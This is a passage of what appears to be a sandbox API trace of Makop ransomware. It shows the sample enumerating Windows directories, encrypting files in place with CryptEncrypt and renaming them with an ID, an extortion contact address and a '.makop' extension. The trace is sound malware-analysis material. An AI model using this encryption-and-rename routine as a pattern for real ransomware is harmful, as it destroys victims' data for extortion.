nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x100000, lpOverlapped=0x0) returned 1 [0103.517] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14ce54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.517] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0103.518] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.518] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4cd90, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x4cd90, lpOverlapped=0x0) returned 1 [0103.544] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x4cd90, dwBufLen=0x4cd90 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x4cd90) returned 1 [0103.548] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.548] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4cd90, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x4cd90, lpOverlapped=0x0) returned 1 [0103.569] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0103.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14ce54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.569] SetEndOfFile (hFile=0x114) returned 1 [0103.576] GetProcessHeap () returned 0x48a0000 [0103.576] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0103.577] GetProcessHeap () returned 0x48a0000 [0103.577] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.577] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 132 [0103.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.583] CloseHandle (hObject=0x114) returned 1 [0103.583] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0103.583] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0103.583] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0103.583] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.584] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0103.584] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.584] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0103.584] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0103.584] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0103.585] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Services") returned 38 [0103.585] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Services\\*.*") returned 42 [0103.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0103.585] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.586] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0103.586] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0103.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.586] GetLastError () returned 0x5 [0103.586] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0103.587] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0103.587] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0103.587] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines") returned 43 [0103.587] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\*.*") returned 47 [0103.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0103.587] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.588] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0103.588] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned 53 [0103.588] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*") returned 57 [0103.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.589] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.589] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0103.590] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned 59 [0103.590] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*") returned 63 [0103.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.590] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.590] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0103.590] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned 65 [0103.591] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*") returned 69 [0103.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0103.591] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.591] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0103.591] wsprintfW (in: param_1=0x6575870, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned 73 [0103.591] wsprintfW (in: param_1=0x6572df0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*") returned 77 [0103.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x6572ba0 | out: lpFindFileData=0x6572ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c71a8 [0103.592] FindNextFileW (in: hFindFile=0x48c71a8, lpFindFileData=0x6572ba0 | out: lpFindFileData=0x6572ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.592] FindNextFileW (in: hFindFile=0x48c71a8, lpFindFileData=0x6572ba0 | out: lpFindFileData=0x6572ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.592] FindClose (in: hFindFile=0x48c71a8 | out: hFindFile=0x48c71a8) returned 1 [0103.592] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0103.592] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned 86 [0103.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.594] GetLastError () returned 0x5 [0103.594] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0103.594] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui") returned 82 [0103.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.594] GetLastError () returned 0x5 [0103.595] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0103.595] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0103.595] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0103.595] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll") returned 75 [0103.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.595] GetLastError () returned 0x5 [0103.595] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0103.595] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll") returned 75 [0103.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.596] GetLastError () returned 0x5 [0103.596] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0103.596] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0103.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 